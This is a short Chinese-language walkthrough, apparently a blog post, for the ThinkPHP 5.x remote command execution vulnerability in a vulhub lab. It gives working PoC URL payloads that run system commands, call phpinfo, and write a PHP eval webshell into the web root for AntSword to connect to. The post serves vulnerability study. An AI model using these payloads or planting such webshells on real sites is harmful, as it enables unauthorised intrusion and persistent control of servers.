Thinkphp5x远程命令执行 靶场攻略

环境配置

靶场:vulhub/thinkphp/5-rce

docker-compose up -d #启动环境

漏洞复现

1.访问靶场:http://172.16.1.198:8080/

2.远程命令执⾏

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1

\[\]=whoami

3.远程代码执行

POC:

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars0=phpinfo&vars[

1]\[\]=-1

4.写入一句话木马到根目录下的1.php

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1\[\]=echo "<?php @eval(\$_POSTcmd);?>" > 1.php

5.蚁剑连接

相关推荐
wno7042 分钟前
Spring Boot整合Quartz
java·spring boot·后端
步行cgn16 分钟前
MySQL 报错:Access denied for user ‘root‘@‘localhost‘ 详解
java·数据库·spring
颜进强24 分钟前
26 · NestJS 基础篇 · 全专栏总结:五个阶段,一次收拢
前端·后端·ai编程
一个有温度的技术博主1 小时前
深拷贝和浅拷贝:一次“搬家”事故
java·后端
鱼宵1 小时前
Spring AI 生产化改造:记忆落 Redis、向量落 ES,重启再也不丢
人工智能·redis·spring·elasticsearch·springai
苍何1 小时前
又一 Personal Agent 发布,帮我省下不止200刀。。。
后端
程序员清风1 小时前
AI时代建议学点自己真正感兴趣的!
java·后端·面试
Duang007_1 小时前
生产可观测性:从“系统慢“到“根因“的完整链路(Go / TypeScript)
后端·python·golang·typescript·prometheus
Wang's Blog2 小时前
Java框架 SpringCloud 快速入门: Nacos 配置热更新
java·spring·spring cloud
西索斯coding2 小时前
Kimi k2.7-code-highspeed 接入 Cline 教程:baseURL 路由变更 + model_id 正确写法
java·服务器·数据库·ai